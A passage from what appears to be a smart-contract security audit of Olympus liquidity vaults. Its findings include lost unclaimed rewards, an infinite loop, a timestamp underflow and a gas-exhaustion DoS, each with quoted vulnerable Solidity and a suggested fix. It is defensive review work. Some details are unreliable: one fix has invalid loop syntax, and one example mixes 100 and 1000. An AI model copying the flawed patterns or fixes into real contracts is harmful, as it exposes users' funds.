gerdusx, hansfriese, kiki_dev, Cryptor, HonorLt, KingNFT, rvierdiiev, CRYP70, 0x52, Ruhum, Bauer

Summary

When a reward token is removed, it's entire reward structs is deleted from the reward token array. The results is that after it has been removed it is impossible to claim. User's who haven't claimed will permanently lose all their unclaimed rewards.

Vulnerability Detail

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L694-L703

When a reward token is removed the entire reward token struct is deleted from the array

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L288-L310

When claiming rewards it cycles through the current reward token array and claims each token. As a result of this, after a reward token has been removed it becomes impossible to claim. Any unclaimed balance that a user had will be permanently lost.

Submitting this as high because the way that internal tokens are accrued (see "Internal reward tokens can and likely will over commit rewards") will force this issue and therefore loss of funds to users to happen.

Impact

Users will lose all unclaimed rewards when a reward token is removed

Code Snippet

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L694-L703

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L723-L732

Tool used

ChatGPT

Recommendation

When a reward token is removed it should be moved into a "claim only" mode. In this state rewards will no longer accrue but all outstanding balances will still be claimable.

Issue M-8: `_accumulateExternalRewards()` could turn into an infinite loop if the check condition is true

Source: https://github.com/sherlock-audit/2023-02-olympus-judging/issues/125

Found by

RaymondFam, shark

Summary

In WstethLiquidityVault.sol, the for loop in `_accumulateExternalRewards()` utilizes `continue` so it could proceed to the next iteration upon having a true condition in the sanity check. This will however turn the function into an infinite loop because `++i` has been included at the end of the loop logic. As a result, this skipped increment leads to the same `externalRewardTokens[i]` repeatedly assigned to `rewardToken` where `newBalance < rewardToken.lastBalance` continues to equal true until the same executions make the gas run out.

Vulnerability Detail

Here is a typical scenario:

1. `_accumulateExternalRewards()` gets invoked via one of the functions embedding it, i.e. `claimRewards()`, `_depositUpdateRewardState()` or `_withdrawUpdateRewardState()` of SingleSidedLiquidityVault.sol.
2. It happens that `newBalance < rewardToken.lastBalance` returns true for a specific reward token.
3. Because `continue` comes before `++i`, this non-incremented iteration is repeatedly executed till gas is run out.

Impact

This will persistently cause DOS on `_accumulateExternalRewards()` for all function calls dependent on it. Depending on how big the deficiency is, the situation can only be remedied by:

- having the deficiency of contract balance on this particular reward token separately topped up at the expense of accounting mess up and/or the protocol resorting to a portion of its reward token(s) locked in the contract whenever this incident happens,
- waiting for a long enough time till the harvested reward is going to be larger than the deficiency entailed, or

- getting the contract deactivated to temporarily prevent further deposits, withdrawals, or reward claims which will nonetheless break other things when deactivate() is called.

Note: The situation could be worse if more than 1 elements in the array `ExternalRewardToken[]` were similarly affected.

Code Snippet

File: WstethLiquidityVault.sol#L192-L216

```
function _accumulateExternalRewards() internal override returns (uint256[]
↪  memory) {
    uint256 numExternalRewards = externalRewardTokens.length;

    auraPool.rewardsPool.getReward(address(this), true);

    uint256[] memory rewards = new uint256[](numExternalRewards);
    for (uint256 i; i < numExternalRewards; ) {
        ExternalRewardToken storage rewardToken = externalRewardTokens[i];
        uint256 newBalance = ERC20(rewardToken.token).balanceOf(address(this));

        // This shouldn't happen but adding a sanity check in case
        if (newBalance < rewardToken.lastBalance) {
            emit LiquidityVault_ExternalAccumulationError(rewardToken.token);
            continue;
        }

        rewards[i] = newBalance - rewardToken.lastBalance;
        rewardToken.lastBalance = newBalance;

        unchecked {
            ++i;
        }
    }
    return rewards;
}
```

Tool used

Manual Review

Recommendation

Consider having the affected code logic refactored as follows:

```
    function _accumulateExternalRewards() internal override returns (uint256[]
 ↪  memory) {
        uint256 numExternalRewards = externalRewardTokens.length;

        auraPool.rewardsPool.getReward(address(this), true);

        uint256[] memory rewards = new uint256[](numExternalRewards);

+     unchecked {
-         for (uint256 i; i < numExternalRewards; ) {
+         for (uint256 i; i < numExternalRewards; ++i;) {
            ExternalRewardToken storage rewardToken = externalRewardTokens[i];
            uint256 newBalance =
 ↪  ERC20(rewardToken.token).balanceOf(address(this));

            // This shouldn't happen but adding a sanity check in case
            if (newBalance < rewardToken.lastBalance) {
                emit LiquidityVault_ExternalAccumulationError(rewardToken.token);
                continue;
            }

            rewards[i] = newBalance - rewardToken.lastBalance;
            rewardToken.lastBalance = newBalance;

-             unchecked {
-                 ++i;
-             }
        }
+     }
        return rewards;
    }
```

This will safely increment `i` when `continue` is hit and move on to the next `i + 1` iteration while still having SafeMath unchecked for the entire scope of the for loop.

Issue M-9: SingleSidedLiquidityVault.withdraw will decreases ohmMinted, which will make the calculation involving ohmMinted incorrect

Source: https://github.com/sherlock-audit/2023-02-olympus-judging/issues/102

Found by

joestakey, cccz, Bobface, rvierdiiev, immeas, psy4n0n, jonatascm, favelanky

Summary

SingleSidedLiquidityVault.withdraw will decreases ohmMinted, which will make the calculation involving ohmMinted incorrect.

Vulnerability Detail

In SingleSidedLiquidityVault, ohmMinted indicates the number of ohm minted in the contract, and ohmRemoved indicates the number of ohm burned in the contract. So the contract just needs to increase ohmMinted in deposit() and increase ohmRemoved in withdraw(). But withdraw() decreases ohmMinted, which makes the calculation involving ohmMinted incorrect.

```
ohmMinted -= ohmReceived > ohmMinted ? ohmMinted : ohmReceived;
ohmRemoved += ohmReceived > ohmMinted ? ohmReceived - ohmMinted : 0;
```

Consider that a user minted 100 ohm in deposit() and immediately burned 100 ohm in withdraw().

In _canDeposit, the amount_ is less than LIMIT + 1000 instead of LIMIT

```
function _canDeposit(uint256 amount_) internal view virtual returns (bool) {
    if (amount_ + ohmMinted > LIMIT + ohmRemoved) revert
↪   LiquidityVault_LimitViolation();
    return true;
}
```

getOhmEmissions() returns 1000 instead of 0

```
function getOhmEmissions() external view returns (uint256 emitted, uint256
↪   removed) {
    uint256 currentPoolOhmShare = _getPoolOhmShare();

    if (ohmMinted > currentPoolOhmShare + ohmRemoved)
```

```
        emitted = ohmMinted - currentPoolOhmShare - ohmRemoved;
    else removed = currentPoolOhmShare + ohmRemoved - ohmMinted;
}
```

Impact

It will make the calculation involving ohmMinted incorrect.

Code Snippet

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L276-L277
https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L392-L409

Tool used

Manual Review

Recommendation

```
    function withdraw(
        uint256 lpAmount_,
        uint256[] calldata minTokenAmounts_,
        bool claim_
    ) external onlyWhileActive nonReentrant returns (uint256) {
        // Liquidity vaults should always be built around a two token pool so we
↪   can assume
        // the array will always have two elements
        if (lpAmount_ == 0 || minTokenAmounts_[0] == 0 || minTokenAmounts_[1] ==
↪   0)
            revert LiquidityVault_InvalidParams();
        if (!_isPoolSafe()) revert LiquidityVault_PoolImbalanced();

        _withdrawUpdateRewardState(lpAmount_, claim_);

        totalLP -= lpAmount_;
        lpPositions[msg.sender] -= lpAmount_;

        // Withdraw OHM and pairToken from LP
        (uint256 ohmReceived, uint256 pairTokenReceived) = _withdraw(lpAmount_,
↪   minTokenAmounts_);

        // Reduce deposit values
        uint256 userDeposit = pairTokenDeposits[msg.sender];
```

```
        pairTokenDeposits[msg.sender] -= pairTokenReceived > userDeposit
            ? userDeposit
            : pairTokenReceived;
-       ohmMinted -= ohmReceived > ohmMinted ? ohmMinted : ohmReceived;
        ohmRemoved += ohmReceived > ohmMinted ? ohmReceived - ohmMinted : 0;
```

Issue M-10: SingleSidedLiquidityVault _canDeposit and getMaxDeposit are checking maximum amount in different ways

Source: https://github.com/sherlock-audit/2023-02-olympus-judging/issues/50

Found by

hansfriese, cccz, ronnyx2017, rvierdiiev, cducrest-brainbot

Summary

SingleSidedLiquidityVault _canDeposit and getMaxDeposit are checking maximum amount in different ways

Vulnerability Detail

`_canDeposit` is used in order to check if user can deposit provided amount of ohm. https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L406-L409

```
function _canDeposit(uint256 amount_) internal view virtual returns (bool) {
    if (amount_ + ohmMinted > LIMIT + ohmRemoved) revert
↪   LiquidityVault_LimitViolation();
    return true;
}
```

As you can see user can deposit if his ohm amount + total ohmMinted is less than LIMIT + ohmRemoved. So max amount that is allowed here is `uint256 maxOhmAmount = LIMIT + ohmRemoved - ohmMinted`.

Now let's check `getMaxDeposit` function. https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L318-L330

```
function getMaxDeposit() public view returns (uint256) {
    uint256 currentPoolOhmShare = _getPoolOhmShare();
    uint256 emitted;


    // Calculate max OHM mintable amount
    if (ohmMinted > currentPoolOhmShare) emitted = ohmMinted -
↪   currentPoolOhmShare;
    uint256 maxOhmAmount = LIMIT + ohmRemoved - ohmMinted - emitted;
```

```
    // Convert max OHM mintable amount to pair token amount
    uint256 ohmPerPairToken = _valueCollateral(1e18); // OHM per 1 pairToken
    uint256 pairTokenDecimalAdjustment = 10**pairToken.decimals();
    return (maxOhmAmount * pairTokenDecimalAdjustment) / ohmPerPairToken;
}
```

As you can see in this function `uint256 maxOhmAmount = LIMIT + ohmRemoved - ohmMinted - emitted`. And you can notice that is almost same formula as in `_canDeposit`, but we have additional param here `emitted`, which can decrease maximum amount.

In case if `_canDeposit` function calculates incorrectly, then it allow users to deposit more, than protocol allows. In case if `getMaxDeposit` calculates incorrectly, which will be used by frontend and integration contracts, users and contracts that wants to integrate with protocol will receive wrong information about max deposit amount, and can have integration issues.

Impact

Max deposit amount is calculated in different ways.

Code Snippet

Provided above

Tool used

Manual Review

Recommendation

You need to use same way in both functions.

Issue M-11: WstethLiquidityVault.rescueFundsFromAura doesn't claim rewards

Source: https://github.com/sherlock-audit/2023-02-olympus-judging/issues/47

Found by

rvierdiiev

Summary

WstethLiquidityVault.rescueFundsFromAura doesn't claim rewards

Vulnerability Detail

`WstethLiquidityVault.rescueFundsFromAura` function is designed to withdraw all funds from Aura. This is needed in order when smth happened to contract. Once funds are withdrawn, then `SingleSidedLiquidityVault.rescueToken` can be used in order to withdraw any token from contract.

The problem is that `WstethLiquidityVault.rescueFundsFromAura` doesn’t claim rewards as it provides `false` to withdrawAndUnwrap function.

Because of that contract losses some part of rewards from Aura.

Impact

Contract losses some part of rewards from Aura, which can be claimed instead and withdrawn from contract.

Code Snippet

Provided above

Tool used

Manual Review

Recommendation

Use `auraPool.rewardsPool.withdrawAndUnwrap(auraBalance, true)`.

Issue M-12: SingleSidedLiquidityVault._accumulateInternalRewards will revert with underflow error if rewardToken.lastRewardTime is bigger than current time

Source: https://github.com/sherlock-audit/2023-02-olympus-judging/issues/44

Found by

GimelSec, hansfriese, xAlismx, cccz, 0x52, rvierdiiev, cducrest-brainbot, joestakey, mahdikarimi, Ruhum

Summary

SingleSidedLiquidityVault._accumulateInternalRewards will revert with underflow error if rewardToken.lastRewardTime is bigger than current time

Vulnerability Detail

Function `_accumulateInternalRewards` is used by almost all external function of SingleSidedLiquidityVault. https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L463-L484

```
function _accumulateInternalRewards() internal view returns (uint256[] memory) {
    uint256 numInternalRewardTokens = internalRewardTokens.length;
    uint256[] memory accumulatedInternalRewards = new
↪   uint256[](numInternalRewardTokens);


    for (uint256 i; i < numInternalRewardTokens; ) {
        InternalRewardToken memory rewardToken = internalRewardTokens[i];


        uint256 totalRewards;
        if (totalLP > 0) {
            uint256 timeDiff = block.timestamp - rewardToken.lastRewardTime;
            totalRewards = (timeDiff * rewardToken.rewardsPerSecond);
        }


        accumulatedInternalRewards[i] = totalRewards;


        unchecked {
            ++i;
        }
```

```
    }

    return accumulatedInternalRewards;
}
```

The line is needed to see is this `uint256 timeDiff = block.timestamp - rewardToken.lastRewardTime`. In case if `rewardToken.lastRewardTime > block.timestamp` than function will revert and ddos functions that use it.

This is how this can happen. https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L674-L688

```
function addInternalRewardToken(
    address token_,
    uint256 rewardsPerSecond_,
    uint256 startTimestamp_
) external onlyRole("liquidityvault_admin") {
    InternalRewardToken memory newInternalRewardToken = InternalRewardToken({
        token: token_,
        decimalsAdjustment: 10**ERC20(token_).decimals(),
        rewardsPerSecond: rewardsPerSecond_,
        lastRewardTime: block.timestamp > startTimestamp_ ? block.timestamp :
 ↪  startTimestamp_,
        accumulatedRewardsPerShare: 0
    });

    internalRewardTokens.push(newInternalRewardToken);
}
```

In case if `startTimestamp_` is in the future, then it will be set and cause that problem. `lastRewardTime: block.timestamp > startTimestamp_ ? block.timestamp : startTimestamp_`.

Now till, `startTimestamp_` time, `_accumulateInternalRewards` will not work, so vault will be stopped. And of course, admin can remove that token and everything will be fine. That's why i think this is medium.

Impact

SingleSidedLiquidityVault will be blocked

Code Snippet

Provided above.

Tool used

Manual Review

Recommendation

Skip token if it's `lastRewardTime` is in future.

Issue M-13: DOS attack to getUsers()

Source: https://github.com/sherlock-audit/2023-02-olympus-judging/issues/27

Found by

hake, tsvetanovv, GimelSec, chaduke

Summary

The getUser() function will return the whole array of users. It will run out of gas if a malicious user deposits will small amounts for a long list of wallet addresses.

Vulnerability Detail

The `getUser()` function needs to return the whole array of users in memory, which needs memory copy operation. As a result, when the list is too long, it will run out of gas.

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L334-L336

Meanwhile, a malicious can deposit with small amount for a long list of wallet addresses to increase the length of the array `users`.

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L187-L244

As a result, it creates an effective DOS to the `getUsers()` function.

Impact

The function `getUsers()` is not useful anymore when there is a DOS attack.

Code Snippet

See above

Tool used

VSCode

Manual Review

Recommendation

- Revise the function `getUsers()` into `getUsers(from, to)` so that we can retrieve the users within a range of indices.
- Set up a minium deposit limit so that such attack is most costing.

Discussion

Evert0x

Considering legit as

> These LPs can be migrated to a new implementation contract and we can seed the `lpPositions` state through a combination of calling `getUsers` and then getting the `lpPositions` value for each user

This functionality is described in the README